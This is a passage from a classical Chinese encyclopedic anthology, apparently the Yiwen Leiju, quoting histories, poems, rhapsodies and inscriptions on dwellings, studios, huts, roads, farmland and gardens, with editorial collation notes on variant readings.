也 .\n又 曰 . 景 公 问 晏 子 曰 . 吾 欲 服 圣 人 之 服 . 居 圣 人 之 室 . 如 此 则 诸 侯 其 至 乎 . 对 曰 . 法 其 节 俭 则 可 . 法 其 服 室 . 无 益 .\n楚 辞 曰 . 凿 山 楹 而 为 室 . 下 披 衣 于 水 渚 . 雾 濛 濛 其 晨 降 兮 . 云 依 斐 而 成 宇 .\n又 曰 . 网 户 朱 缀 刻 方 连 . 冬 有 突 夏 夏 室 寒 .\n尚 书 大 传 曰 . 子 夏 读 书 毕 . 见 夫 子 . 夫 子 问 焉 . 子 何 为 于 书 . 对 曰 . 书 之 论 事 . 昭 昭 若 日 月 之 明 . 离 离 若 参 辰 之 错 行 . 上 有 尧 舜 之 道 . 下 有 三 王 之 义 . 商 所 受 于 夫 子 者 . 志 之 不 敢 忘 也 . 虽 退 而 穷 思 河 济 之 闲 . 深 山 之 中 . 壤 室 编 蓬 为 户 . 于 中 弹 琴 . 咏 先 王 之 道 . 则 可 发 愤 慷 慨 矣 .\n神 异 经 曰 . 西 北 荒 有 石 室 . 有 二 十 人 同 居 . 齐 寿 千 二 百 岁 .\n十 洲 记 曰 . 仑 山 上 有 琼 华 之 室 .\n淮 南 子 曰 . 西 方 有 金 室 .\n列 仙 传 曰 . 彭 祖 . 殷 大 夫 也 . 历 夏 至 商 末 . 号 七 百 岁 . 历 阳 有 彭 祖 仙 室 .\n汉 书 曰 . 文 帝 征 贾 谊 入 见 . 上 方 受 厘 . 坐 宣 室 . 因 感 鬼 神 事 . 与 谊 言 之 .\n三 辅 黄 图 曰 . 明 堂 有 十 二 室 . 法 十 二 月 .\n谢 承 后 汉 书 曰 . 陈 蕃 家 贫 . 不 好 扫 室 . 客 怪 之 者 . 或 曰 . 可 一 扫 乎 . 蕃 曰 . 大 丈 夫 当 为 国 扫 除 天 下 . 岂 徒 室 中 乎 .\n杨 龙 骧 洛 阳 记 曰 . 显 阳 殿 北 有 避 雷 室 . 西 有 御 龙 室 .\n雷 次 宗 豫 章 记 曰 . 望 秦 县 有 一 石 室 . 入 室 十 余 里 . 有 水 广 数 十 步 . 清 浅 . 游 者 伐 竹 为 筏 以 过 水 . 幽 邃 无 极 . 莫 能 究 其 源 . 出 好 钟 乳 .\n盛 弘 之 荆 州 记 曰 . 始 兴 机 山 东 . 有 两 岩 相 向 . 如 鸱 尾 . 石 室 数 十 所 . 经 过 时 闻 有 金 石 丝 竹 之 声 .\n嵩 高 山 记 曰 . 山 下 岩 中 有 石 室 . 中 有 自 然 经 书 . 自 然 饮 食 .\n汉 宫 殿 名 曰 . 神 明 台 . 武 帝 造 . 高 五 丈 . 上 有 九 室 . 今 人 谓 之 九 天 台 . 武 帝 求 神 仙 . 恒 置 九 天 道 士 百 人 .\n洛 阳 宫 殿 名 曰 . 洛 阳 有 望 舒 凉 室 含 章 鞠 室 灵 芝 鞠 室 清 暑 凉 室\n【 诗 】 宋 吴 迈 远 游 庐 山 观 道 士 石 室 诗 曰 . 蒙 葺 众 山 里 . 往 来 行 迹 稀 . 寻 岭 达 仙 居 . 道 士 披 云 归 . 似 着 周 时 冠 . 状 披 汉 时 衣 . 安 知 世 代 积 . 服 古 人 不 衰 . 得 我 宿 昔 情 . 知 我 道 无 为 .\n齐 王 融 移 席 琴 室 应 司 徒 教 诗 曰 . 雪 崖 似 留 月 . 萝 径 若 披 云 . 潺 湲 石 溜 写 . 绵 峦 山 雨 闻 . 梁 任 豫 夏 潦 省 宅 诗 曰 . 风 桌 出 天 街 . 星 言 指 沈 室 . 顿 楫 俄 毁 垣 . 恻 然 悼 穷 陌 . 春 为 发 大 道 . 夏 为 溆 潮 折 . 贵 者 陋 怀 居 . 鄙 人 安 朝 夕 . 生 长 数 十 载 . 幸 佑 见 衰 白 . 堂 遗 孤 孩 音 . 庭 余 笄 迹 . 入 似 聚 族 慰 . 出 为 里 仁 惜 .\n【 赋 】 晋 潘 岳 狭 室 赋 曰 . 历 甲 第 以 游 观 . 旋 陋 巷 而 言 归 . 伊 余 馆 之 褊 狭 . 良 穷 弊 而 极 微 . 阁 了 戾 以 互 掩 . 门 崎 岖 而 外 扉 . 室 侧 户 以 攒 楹 . 檐 接 秬 而 交 榱 . 当 祝 融 之 御 节 . 炽 朱 明 之 隆 暑 . 沸 体 惄 其 如 铄 . 珠 汗 挥 其 如 雨 . 若 乃 重 阴 晦 冥 . 天 威 震 曜 . 潢 潦 沸 腾 . 丛 溜 奔 激 . 臼 灶 为 之 沉 溺 . 器 用 为 之 浮 漂 . 彼 处 贫 而 不 怨 . 嗟 生 民 之 攸 难 . 匪 广 厦 之 足 荣 . 有 切 ○ 原 讹 功 . 据 冯 校 本 改 . 身 之 近 患 . 青 阳 萌 而 畏 暑 . 白 藏 兆 而 惧 寒 . 独 味 道 而 不 闷 . 喟 然 向 其 时 叹 .\n晋 庾 阐 狭 室 赋 曰 . 居 不 必 阨 . 食 不 求 箪 . 岂 独 蓬 蓼 可\n永 . 而 隆 栋 招 患 . 奚 必 膏 粱 非 美 . 而 饮 疏 以 餐 . 醪 俎 可\n以 充 性 . 不 极 欲 以 析 龙 肝 . 清 室 可 以 游 暑 . 不 冽 泳 而 兴\n夏 寒 . 于 时 融 火 炎 炎 . 鹑 精 共 耀 . 南 羲 炽 暑 . 夕 阳 傍 照\n. 尔 乃 登 通 扉 . 辟 棂 幌 . 絺 幕 褰 . 闲 堂 敞 . 微 飙 凌 闺 而\n直 激 . 清 气 乘 虚 以 曲 荡 . 温 房 悄 凄 以 兴 凉 . 轩 槛 寥 豁 以\n外 朗 .\n【 诗 】 晋 湛 方 生 后 斋 诗 曰 . 解 缨 复 褐 . 辞 朝 归 薮 . 门 不 容 轩 . 宅 不 盈 亩 . 茂 草 笼 庭 . 滋 兰 拂 牖 . 抚 我 子 侄 . 携 我 亲 友 . 茹 彼 园 蔬 . 饮 此 春 酒 . 开 棂 攸 瞻 . 坐 对 川 阜 . 心 焉 孰 托 . 托 心 非 有 . 素 构 易 抱 . 玄 根 难 朽 . 即 之 匪 远 . 可 以 长 久 .\n梁 简 文 帝 山 斋 诗 曰 . 玲 珑 绕 竹 涧 . 闲 关 通 槿 蕃 . 缺 岸 新 成 浦 . 危 石 久 为 门 . 北 荣 下 飞 桂 . 南 柯 吟 夜 猿 . 暮 流 澄 锦 碛 . 晨 冰 照 采 鸾 .\n梁 庾 肩 吾 和 竹 斋 诗 曰 . 百 栱 横 筇 节 . 千 栌 跨 篻 竿 . 回 龙 仍 作 柱 . 置 笛 且 成 栾 . 向 岭 分 花 径 . 随 阶 转 药 栏 . 蜂 归 怜 蜜 熟 . 鷰 入 重 巢 干 . 欲 仰 天 庭 掞 . 终 知 学 步 艰 . 陈 徐 陵 奉 和 简 文 帝 山 斋 诗 曰 . 架 岭 承 金 阙 . 飞 桥 对 石 梁 . 竹 密 山 斋 冷 . 荷 开 水 殿 香 . 山 花 临 舞 席 . 水 影 照 歌 床 .\n【 赋 】 宋 谢 灵 运 山 居 赋 曰 . 上 古 巢 居 穴 处 曰 岩 栖 . 居 山 曰 山 居 . 在 林 野 曰 丘 园 . 在 郊 郭 曰 城 傍 . 四 者 不 同 . 可 以 理 推 . 昔 仲 长 愿 言 . 流 水 高 山 . 应 叟 作 书 . 邙 阜 洛 川 . 势 有 偏 侧 . 地 阙 周 员 . 至 若 凤 丛 二 台 . 云 梦 青 丘 . 漳 渠 淇 园 . 橘 林 长 洲 . 虽 千 乘 之 珍 苑 . 孰 嘉 遁 之 所 游 . 览 明 达 之 抚 运 . 乘 机 感 而 理 默 . 悼 三 闾 之 浮 江 . 矜 望 诸 之 去 国 . 仰 前 哲 之 遗 训 . 俯 性 情 之 所 便 . 奉 微 躯 以 宴 息 . 保 息 事 以 乘 闲 . 爰 初 经 略 . 杖 策 孤 征 . 入 涧 涉 水 . 登 岭 山 行 . 纡 顶 不 息 . 穷 泉 不 停 . 栉 风 沐 雨 . 犯 露 乘 星 . 研 其 浅 思 . 罄 其 短 规 . 非 龟 非 筮 . 择 良 选 奇 . 剪 榛 开 径 . 寻 石 觅 崖 . 四 山 周 回 . 双 流 逶 迤 . 陵 名 山 而 屡 止 . 过 岩 室 而 披 情 . 虽 未 偕 于 至 道 . 且 缅 绝 于 世 缨 . 若 乃 南 北 两 居 . 水 通 陆 阻 . 观 风 瞻 云 . 方 知 厥 所 . 九 泉 别 涧 . 五 谷 异 巘 . 抗 北 顶 以 葺 馆 . 瞰 南 峰 以 启 轩 . 罗 层 崖 于 户 里 . 镜 清 澜 于 窗 前 . 修 竹 葳 蕤 以 翳 荟 . 灌 木 森 丛 以 蒙 茂 . 萝 茑 蔓 延 以 攀 援 . 香 花 芬 薰 而 媚 秀 . 日 月 投 光 于 柯 闲 . 风 露 披 清 于 岫 . 夏 凉 寒 燠 . 随 时 取 适 . 此 焉 卜 寝 . 玩 水 弄 石 . 及 其 二 川 合 流 . 异 源 同 口 . 赴 隘 入 险 . 俱 会 山 首 . 濑 排 沙 以 积 岸 . 岛 倚 渚 以 超 阜 . 畦 町 斸 艺 . 含 橤 藉 芳 . 绿 葵 春 节 以 怀 露 . 白 薤 感 时 而 负 霜 . 伊 昔 龆 . 宝 爱 斯 文 . 援 纸 握 管 . 会 性 通 神 . 诗 以 言 志 . 赋 以 敷 陈 . 爰 暨 山 栖 . 弥 历 年 祀 . 幸 多 暇 日 . 自 求 诸 己 .\n【 赞 】 宋 颜 延 年 新 喻 侯 茅 斋 赞 曰 . 辇 草 作 壮 . 采 茅 昭 俭 . 哲 人 素 节 . 贵 而 能 贬 . 羁 结 茨 危 . 瞰 临 涯 隒 .\n【 铭 】 隋 江 总 永 阳 王 斋 后 山 亭 铭 曰 . 丛 台 造 日 . 淄 馆\n连 云 . 锦 墙 列 缋 . 绣 地 成 文 . 吾 王 卓 尔 . 逸 趣 不 群 . 梅\n梁 蕙 阁 . 桂 栋 兰 枌 . 竹 深 盖 雨 . 石 暗 迎 昏 . 激 流 疑 疏 .\n构 峰 似 削 . 苔 滑 危 磴 . 藤 攀 耸 崿 . 树 影 摇 窗 . 池 光 动 幕\n. 月 澄 遥 溆 . 风 清 近 壑 . 雪 岸 难 销 . 花 园 易 落 . 高 桐 百\n尺 . 垂 杨 五 株 . 开 荣 九 畹 . 结 秀 三 珠 . 山 条 紫 的 . 水 叶\n红 须 . 抽 芳 绕 霤 . 接 翠 分 衢 . 亭 讙 旅 鹤 . 浦 噪 惊 凫 . 前\n列 牧 马 . 后 招 郇 伯 . 讽 诵 楚 诗 . 精 微 沛 易 . 丛 桂 留 赏 .\n散 金 匪 惜 . 不 羡 睢 阳 . 还 蚩 碣 石 . 驰 声 终 古 . 服 义 无 斁\n.\n汉 书 曰 . 武 帝 诏 严 助 . 居 厌 承 明 之 庐 .\n东 观 汉 记 曰 . 耿 纯 率 宗 族 归 光 武 . 时 郡 国 多 降 邯 郸 . 纯 兄 归 烧 宗 家 庐 舍 . 上 以 问 纯 . 纯 曰 . 恐 宗 人 宾 客 . 卒 有 不 同 . 故 焚 烧 庐 舍 . 绝 其 反 顾 之 望 . 上 大 笑 .\n又 曰 . 承 宫 少 孤 . 年 八 岁 . 为 人 牧 猪 . 乡 里 徐 子 明 春 秋 . 授 诸 生 数 百 人 . 宫 过 其 庐 下 . 见 诸 生 讲 . 好 之 . 因 亡 其 猪 而 听 经 . 猪 主 怪 其 不 还 . 行 求 索 . 见 宫 . 欲 笞 之 . 门 下 生 共 禁 . 乃 止 . 魏 志 曰 . 管 宁 闻 公 孙 度 令 行 于 海 外 . 遂 至 辽 东 . 度 虚 馆 以 俟 之 . 既 往 见 度 . 乃 庐 于 山 下 . 时 避 难 者 多 居 郡 南 . 而 宁 居 北 . 示 无 迁 志 .\n皇 甫 谧 高 士 传 曰 . 世 莫 知 焦 先 所 出 . 或 言 生 汉 末 . 无 父 母 兄 弟 . 见 汉 衰 . 乃 不 言 . 常 结 草 为 庐 . 冬 夏 袒 露 . 垢 污 如 泥 . 后 野 火 烧 其 庐 . 先 因 露 寝 . 遭 大 雪 . 先 袒 卧 不 移 . 人 以 为 死 . 就 视 如 故 .\n洛 阳 故 宫 名 曰 . 侍 中 庐 . 在 南 宫 中 .\n【 碑 】 后 汉 张 超 灵 帝 河 闲 旧 庐 碑 曰 . 赫 赫 在 上 . 陶 唐\n是 承 . 继 德 二 祖 . 四 宗 是 凭 . 上 纳 鉴 乎 羲 农 . 中 结 轨 乎\n夏 商 . 元 首 既 明 . 股 肱 惟 良 . 乃 因 旧 宇 . 福 德 所 基 . 修\n饰 经 构 . 农 隙 得 时 . 树 中 天 之 双 阙 . 崇 冠 山 之 华 堂 . 通\n楼 闲 道 . 丹 阶 紫 房 . 金 窗 郁 律 . 玉 璧 内 珰 . 青 蒲 充 庖 .\n朱 草 栖 箱 . 川 鱼 踊 跃 . 云 鸟 舞 翔 . 煌 煌 大 汉 . 含 德 干 纲\n. 体 效 日 月 . 验 化 阴 阳 . 格 于 上 下 . 震 畅 八 荒 . 三 光 宣\n曜 . 四 灵 效 祥 . 天 其 嘉 享 . 丰 年 穣 穣 . 驺 虞 奏 乐 . 鹿 鸣\n荐 觞 . 二 祝 致 告 . 福 禄 来 将 . 永 保 万 国 . 南 山 无 量 .\n史 记 曰 . 文 帝 行 至 灞 陵 . 是 时 慎 夫 人 从 . 上 示 慎 夫 人 新 丰 曰 . 此 走 邯 郸 道 也 .\n三 辅 故 事 曰 . 桂 宫 周 ● 十 里 . 内 有 复 道 . 横 北 ○ 原 讹 此 . 据 冯 校 本 改 . 渡 . 西 至 神 明 台 .\n汉 书 曰 . 惠 帝 为 东 朝 长 乐 宫 . 作 复 道 . 方 筑 高 帝 庙 南 . 叔 孙 通 曰 . 陛 下 筑 复 道 . 高 帝 寝 衣 冠 . 月 出 游 高 庙 . 子 孙 奈 何 宗 庙 道 上 行 哉 . 惠 帝 惧 . 曰 . 急 坏 之 . 通 曰 . 人 主 无 过 举 . 今 已 作 . 百 姓 皆 知 矣 . 愿 陛 下 益 广 宗 庙 . 大 孝 本 也 . 帝 从 之 .\n又 曰 . 元 帝 即 位 . 成 帝 为 太 子 . 上 尝 召 太 子 . 出 龙 楼 门 . 不 敢 绝 驰 道 . 直 至 城 门 得 绝 . 乃 度 . 上 迟 之 . 问 其 故 . 以 状 对 . 上 乃 令 太 子 得 绝 驰 道 .\n东 观 汉 记 曰 . 逢 萌 被 征 上 道 . 迷 不 知 东 西 . 云 朝 所 征 我 者 . 为 聪 明 叡 智 . 有 益 于 政 . 方 面 不 知 . 安 能 济 政 . 即 驾 而 归 . 博 物 志 曰 . 文 王 以 太 公 为 灌 坛 令 . 期 年 . 风 不 鸣 条 . 文 王 梦 一 妇 人 甚 丽 . 当 道 而 哭 . 问 其 故 . 曰 . 我 太 山 之 女 . 嫁 为 西 海 妇 . 欲 归 . 灌 坛 令 当 道 有 德 . 吾 不 敢 以 乘 风 雨 过 .\n任 豫 益 州 记 曰 . 江 曲 由 ○ 太 平 御 览 一 百 九 十 五 作 江 油 . 此 有 衍 文 . 左 担 道 . 按 图 在 阴 平 县 北 . 于 城 都 为 西 . 其 道 至 险 . 自 北 来 者 . 担 在 左 肩 . 不 得 度 担 也 . 邓 艾 束 马 悬 车 之 处 .\n【 碑 】 陈 徐 陵 丹 阳 上 庸 路 碑 曰 . 臣 闻 在 天 成 象 . 咸 池\n属 于 五 潢 . 在 地 成 形 . 沧 海 环 于 四 渎 . 国 险 者 固 其 金 汤\n. 储 蓄 者 因 于 转 漕 . 货 财 为 礼 . 专 俟 会 通 . 厥 田 为 上 .\n皆 资 渗 漉 . 大 矣 哉 . 坎 德 之 为 用 也 . 是 以 握 图 之 主 . 财\n以 利 民 . 御 斗 之 君 . 因 之 显 教 . 上 哉 少 昊 . 初 命 水 官 .\n逖 矣 高 阳 . 爰 重 冥 职 . 舜 为 太 尉 . 于 是 九 泽 载 疏 . 禹 作\n司 空 . 然 后 百 川 咸 导 . 开 华 山 于 高 掌 . 凿 灵 沼 于 周 原 .\n莫 匪 神 功 . 皆 由 圣 德 . 我 大 梁 之 受 天 明 命 . 劳 己 济 民 .\n有 道 称 皇 . 无 为 曰 帝 . 若 夫 云 雷 草 创 . 翦 商 黜 夏 之 勋 .\n铸 宝 鼎 于 昆 吾 . 安 能 纪 勒 . 陈 鸣 钟 于 丰 岳 . 岂 议 揄 扬 .\n斯 固 名 言 之 所 绝 也 . 及 乎 膺 斯 宝 运 . 大 拯 横 流 . 屈 至 道\n于 汾 阳 . 劳 凝 神 于 ○ 本 集 作 姑 . 疑 此\n当 作 藐 . 射 . 圣 人 作 乐 . 箫 韶 备 以 九 成 . 尽 礼 春 官\n. 总 于 三 代 . 岂 止 金 门 桴 竹 . 玉 尺 调 钟 . 公 带 献 明 堂 之\n图 . 匡 衡 建 后 土 之 议 . 若 斯 而 已 矣 . 天 降 丹 鸟 . 既 序 孝\n经 . 河 出 应 龙 . 乃 弘 周 易 . 若 夫 固 天 将 圣 . 垂 意 艺 文 .\n五 色 相 宣 . 八 音 繁 会 . 不 移 漏 刻 . 才 命 口 占 . 御 纸 风 飞\n. 天 章 海 溢 . 皆 紫 庭 黄 竹 之 词 . 晨 露 卿 云 之 藻 . 汉 之 两\n帝 . 徒 有 咏 歌 . 魏 之 三 祖 . 空 云 诗 赋 . 以 为 彭 老 之 教 .\n终 没 爱 河 . 儒 墨 之 宗 . 方 难 火 宅 . 岂 如 五 时 八 会 之 殊 文\n天 上 人 中 之 妙 典 . 雪 山 罗 汉 . 争 造 论 门 . 鹫 岭 名 僧 . 俱\n传 经 藏 . 香 象 之 力 . 特 所 未 胜 . 秋 兔 之 毫 . 书 而 莫 尽 .\n忠 信 为 宝 . 禳 祈 免 于 白 驹 . 明 德 惟 馨 . 山 川 舍 于 骍 犊 .\n至 如 月 离 金 虎 . 泥 染 石 午 . ○ 本 集 作 牛\n. 荟 蔚 朝 兴 . 滂 沱 晚 注 . 而 清 跸 才 动 . 纤 罗 不 摇 .\n高 闬 将 临 . 油 云 自 辟 . 阳 乌 驭 日 . 宁 惧 武 贲 之 弓 . 飞 雨\n门 ○ 本 集 作 弥 . 天 . 无 待 期 门 之\n盖 . 震 维 举 德 . 非 曰 尚 年 . 若 发 居 酆 . 犹 庄 在 汉 . 涛 如\n白 马 . 既 碍 广 陵 之 江 . 山 曰 金 牛 . 用 险 梅 湖 之 路 . 专 州\n典 郡 . 青 凫 赤 马 之 舡 . 皇 子 天 孙 . 鸣 凤 飞 龙 之 乘 . 莫 不\n欣 斯 利 涉 . 玩 此 脩 渠 . 乍 拥 楫 而 长 歌 . 乃 摐 金 而 鸣 籁 .\n斯 实 旷 世 之 奇 功 . 无 疆 之 鸿 烈 者 也 . 铭 曰 . 后 王 降 德 .\n于 众 兆 民 . 高 文 象 纬 . 妙 义 几 神 . 业 冠 迁 夏 . 功 逾 入 秦\n. 时 惟 大 畜 . 世 久 同 人 . 慧 雨 方 霤 . 禅 枝 独 春 . 帝 德 惟\n厚 . 皇 恩 甚 深 . 观 乎 禹 迹 . 见 我 尧 心 .\n韩 子 曰 . 历 山 农 者 侵 畔 . 舜 往 耕 . 期 年 让 畔 .\n史 记 曰 . 弃 为 儿 时 . 好 种 树 麻 菽 . 麻 菽 美 . 及 为 成 人 . 遂 好 耕 农 . 相 地 之 宜 . 宜 谷 者 耕 稼 穑 之 . 民 皆 法 则 之 .\n汉 书 曰 . 洪 范 八 政 . 一 曰 食 . 二 曰 货 . 食 谓 农 殖 嘉 谷 . 可 食 之 物 .\n又 曰 . 杨 季 . 官 至 庐 江 太 守 . 汉 元 鼎 闲 避 仇 . 后 溯 江 上 . 处 岷 山 之 阳 . 曰 郫 . 有 田 一 . 有 宅 一 区 . 世 世 以 农 桑 为 业 .\n东 观 汉 记 曰 . 樊 重 世 善 农 稼 . 好 货 殖 .\n【 赋 】 晋 束 皙 劝 农 赋 曰 . 惟 百 里 之 置 吏 . 各 区 别 而 异\n曹 . 考 治 民 之 贱 职 . 美 莫 当 乎 劝 农 . 专 一 里 之 权 . 擅 百\n家 之 势 . 及 至 青 幡 . 禁 乎 游 惰 . 田 赋 度 乎 顷 亩 . 与 夺 在\n己 . 良 薄 决 口 . 受 饶 在 于 肥 脯 . 得 力 在 于 美 酒 . 若 场 功\n毕 . 租 输 至 . 录 社 长 . 召 闾 师 . 条 牒 所 领 . 注 列 名 讳 .\n则 豚 鸡 争 下 . 壶 榼 横 至 . 遂 乃 定 一 以 为 十 . 拘 五 以 为 二\n. 盖 由 热 啖 纡 其 腹 . 而 杜 康 咥 其 胃 .\n汉 书 曰 . 陈 平 少 时 家 贫 . 好 读 书 . 治 黄 帝 老 子 之 术 . 有 田 三 十 亩 . 与 伯 居 . 伯 常 耕 . 纵 平 使 游 学 . 又 曰 . 贡 禹 上 书 曰 . 臣 禹 年 老 贫 . 家 资 不 满 万 钱 . 妻 子 糠 豆 不 赡 . 短 褐 不 完 . 有 田 百 三 十 亩 . 陛 下 过 意 征 臣 . 臣 卖 田 百 亩 . 以 供 车 马 .\n又 曰 . 张 禹 为 人 谨 厚 . 内 殖 货 财 . 及 富 贵 . 多 买 田 . 至 四 百 顷 . 皆 泾 渭 溉 灌 . 极 膏 腴 .\n又 曰 . 太 始 二 年 . 赵 中 大 夫 白 公 . 奏 穿 渠 . 引 泾 水 . 首 起 谷 口 . 尾 入 栎 阳 江 ○ 太 平 御 览 八 百 二 十 一 作 泾 . 渭 中 . 溉 四 千 五 百 余 顷 . 因 名 白 渠 . 民 歌 之 曰 . 田 于 何 所 . 池 阳 谷 口 . 郑 国 在 前 . 白 渠 起 后 . 举 插 为 云 . 决 渠 为 雨 . 泾 水 一 石 . 其 泥 数 斗 . 且 溉 且 粪 . 长 我 禾 黍 .\n华 峤 后 汉 书 曰 . 周 燮 专 精 礼 易 . 不 读 非 圣 之 书 . 不 修 贺 问 之 好 . 有 先 人 草 庐 . 结 于 冈 畔 . 下 有 陂 田 . 常 肆 勤 以 自 给 . 非 身 所 耕 渔 不 食 .\n晋 中 兴 书 曰 . 郭 翻 少 有 志 操 . 居 贫 无 业 . 起 往 古 荒 田 . 先 立 表 题 . 经 年 无 主 . 然 后 乃 作 . 将 熟 . 有 认 之 者 . 翻 悉 推 与 之 .\n萧 广 济 孝 子 传 曰 . 原 平 墓 下 有 数 十 亩 田 . 不 属 原 平 . 每 农 月 . 耕 者 恒 裸 . 原 平 不 欲 使 慢 其 坟 墓 . 乃 归 卖 家 资 . 买 此 田 . 三 农 之 月 . 辄 束 带 垂 泣 . 躬 自 耕 垦 .\n【 诗 】 宋 陶 潜 杂 诗 曰 . 种 豆 南 山 下 . 草 盛 豆 苗 稀 . 晨 兴 理 荒 秽 . 带 月 荷 锄 归 .\n梁 刘 孝 绰 报 王 永 兴 观 田 诗 曰 . 重 门 寂 已 暮 . 案 牍 罢 嚣 尘 . 轻 凉 生 笋 席 . 微 风 起 扇 轮 . 浮 瓜 聊 可 贵 . 溢 酒 亦 成 珍 . 复 有 寒 泉 井 . 兼 以 莹 心 神 . 睠 彼 忘 言 客 . 闲 居 伊 洛 滨 . 顾 已 惭 困 地 . 徒 知 姜 桂 辛 . 但 愿 崇 明 德 . 无 谓 德 无 邻 .\n【 议 】 晋 陆 机 大 田 议 曰 . 臣 闻 隆 名 之 主 . 不 改 法 而 下 治 . 陵 夷 之 世 . 不 易 术 而 民 怠 . 夫 商 人 逸 而 利 厚 . 农 人 劳 而 报 薄 . 导 农 以 利 则 耕 夫 勤 . 节 商 以 法 则 游 子 归 .\n【 论 】 魏 王 粲 务 本 论 曰 . 古 者 之 理 国 也 . 以 本 为 务 .\n八 政 之 于 民 也 . 以 食 为 首 . 是 以 黎 民 时 雍 . 降 福 孔 皆 也\n. 故 仰 司 星 辰 . 以 审 其 时 . 俯 耕 籍 田 . 以 率 其 力 . 封 祀\n农 稷 . 以 神 其 事 . 祈 谷 报 年 . 以 宠 其 功 . 设 农 师 以 监 之\n. 置 田 畯 以 董 之 . 黍 稷 茂 则 喜 而 受 赏 . 田 不 垦 则 怒 而 加\n罚 . 都 不 得 有 伏 民 . 室 不 得 有 悬 秬 . 野 积 逾 冬 . 夺 者 无\n罪 . 场 功 过 限 . 窃 者 不 刑 . 所 以 竞 之 于 ● 藏 也 . 先 王 藉\n田 以 力 . 任 力 以 夫 . 议 其 老 幼 . 度 其 远 近 . 种 有 常 时 .\n耘 有 常 节 . 收 有 常 期 . 此 赏 罚 之 本 . 种 不 当 时 . 耘 不 及\n节 . 收 不 应 期 者 . 必 加 其 罚 . 苗 实 逾 等 . 必 加 其 赏 也 .\n农 益 地 辟 . 则 吏 受 大 赏 也 . 农 损 地 狭 . 则 吏 受 重 罚 . 天\n火 之 焚 人 也 . 甚 于 怠 农 . 慎 火 之 力 也 . 轻 于 秬 ● . 通 邑\n大 都 . 有 严 令 则 火 稀 . 无 严 令 则 烧 者 数 . 非 赏 罚 不 能 齐\n也 .\n诗 曰 . 乐 彼 之 园 .\n又 曰 . 园 有 桃 .\n又 曰 . 无 逾 我 园 .\n又 曰 . 游 于 北 园 .\n子 建 诗 曰 . 清 夜 游 西 园 .\n古 诗 曰 . 郁 郁 园 中 柳 .\n说 文 曰 . 树 果 曰 园 . 树 菜 曰 圃 .\n庄 子 曰 . 汉 阴 丈 人 灌 园 . 凿 隧 而 入 井 .\n韩 子 曰 . 昔 弥 子 瑕 有 宠 于 卫 . 与 君 游 于 果 园 . 食 桃 而 甘 . 以 其 半 啖 君 . 君 曰 . 爱 我 哉 .\n史 记 曰 . 公 仪 休 相 鲁 . 拔 园 葵 . 去 织 妇 .\n又 曰 . 董 仲 舒 下 帷 讲 诵 . 三 年 不 观 于 舍 园 .\n汉 书 曰 . 和 帝 诏 有 司 . 自 京 师 果 园 . 悉 假 与 贫 人 .\n国 语 曰 . 赵 简 子 田 于 蝼 . 蝼 园 名 .\n三 秦 记 曰 . 汉 武 有 名 园 曰 樊 川 . 一 名 御 宿 . 有 大 灾 如 五 升 . 名 含 消 .\n汉 书 ○ 案 本 条 . 本 书 九 十 八 . 初 学 记 二 . 太 平 御 览 十 二 . 八 七 二 引 作 魏 明 帝 与 东 阿 王 植 诏 . 疑 汉 当 作 魏 . 曰 . 明 帝 诏 . 先 帝 时 灵 芝 生 芳 林 园 中 . 自 吾 建 成 承 露 已 来 . 甘 露 复 降 芳 林 园 .\n淮 南 子 曰 . 夫 临 江 之 乡 . 其 人 汲 水 以 溉 其 园 . 江 水 弗 减 也 .\n又 曰 . 山 有 猛 兽 . 林 木 为 之 不 斩 . 园 有 螫 虫 . 藜 藿 为 之 不 采 .\n谢 承 后 汉 书 曰 . 法 真 隐 居 大 泽 . 讲 论 术 艺 . 历 年 不 问 园 圃 .\n又 曰 . 吴 佑 迁 胶 东 侯 相 . 时 济 北 戴 宏 父 为 县 丞 . 宏 年 十 六 . 从 在 丞 舍 . 佑 每 行 园 . 常 闻 讽 读 之 音 . 甚 奇 之 . 与 为 友 . 宏 卒 成 儒 宗 . 知 名 东 夏 . 为 河 闲 相 . 因 自 免 归 家 . 不 复 仕 . 灌 园 蔬 . 以 经 书 教 授 . 年 九 十 八 卒 .\n华 阳 国 志 曰 . 何 随 家 养 竹 园 . 人 盗 其 笋 . 随 行 遇 见 . 恐 盗 者 觉 怖 走 . 竹 伤 其 足 . 挈 履 徐 步 而 归 .\n桂 阳 先 贤 记 曰 . 苏 ● 尝 除 门 廷 . 有 众 宾 来 . ● 告 母 曰 . 人 招 ● 去 . 已 种 药 着 后 园 梅 树 下 . 可 治 百 疾 . 一 叶 愈 一 人 . 卖 此 药 过 . 足 供 养 .\n魏 志 曰 . 明 帝 起 景 阳 山 于 芳 林 园 中 .\n又 曰 . 京 城 内 有 园 . 患 无 水 . 傅 玄 先 生 ○ 按 本 条 见 魏 志 二 十 九 杜 夔 传 注 傅 玄 叙 马 钧 事 . 傅 文 中 称 马 钧 为 先 生 . 此 衍 傅 玄 二 字 . 乃 作 翻 车 . 令 童 转 之 . 灌 水 更 入 . 其 功 百 倍 .\n向 秀 别 传 曰 . 秀 常 与 吕 安 灌 园 于 山 阳 . 收 其 利 以 供 酒 食 之 费 .\n晋 宫 阙 名 曰 . 洛 阳 宫 有 琼 圃 园 灵 芝 园 石 祠 园 . 邺 有 鸣 鹄 园 蒲 萄 园 华 林 园 . 世 说 曰 . 简 文 入 华 林 园 . 顾 谓 左 右 曰 . 会 心 处 不 必 在 远 . 翳 然 林 水 . 便 自 有 濠 濮 闲 想 . 觉 鸟 兽 禽 鱼 . 自 来 亲 人 .\n又 曰 . 王 子 敬 入 会 稽 . 经 吴 门 . 顾 辟 强 有 名 园 . 先 不 识 主 人 . 遥 往 其 家 . 值 顾 方 集 宾 友 . 酣 燕 园 中 . 而 王 游 历 既 毕 . 指 麾 好 恶 . 傍 若 无 人 . 顾 勃 然 曰 . 不 足 齿 之 伧 尔 . 使 驱 其 左 右 出 门 . 王 独 坐 舆 上 . 展 转 顾 望 . 而 仆 从 不 至 . 遂 移 时 .\n又 曰 . 管 宁 华 歆 . 园 中 锄 菜 . 见 地 有 片 金 . 管 挥 锄 与 瓦 石 不 异 . 华 捉 而 掷 之 . 法 显 记 曰 . 舍 卫 精 舍 东 北 六 百 里 . 毗 舍 佉 母 作 精 舍 . 请 佛 及 借 此 处 . 故 在 秖 洹 舍 大 园 落 . 有 二 门 . 一 门 东 向 . 一 北 向 . 此 园 即 须 达 长 者 布 金 钱 买 地 处 也 . 精 舍 当 中 央 . 佛 住 此 处 最 久 . 说 法 度 人 . 经 行 坐 处 . 亦 尽 起 塔 . 皆 有 名 字 .\n又 曰 . 拘 夷 那 竭 城 东 行 . 到 毗 舍 离 城 北 . 有 大 林 . 重 阁 精 舍 . 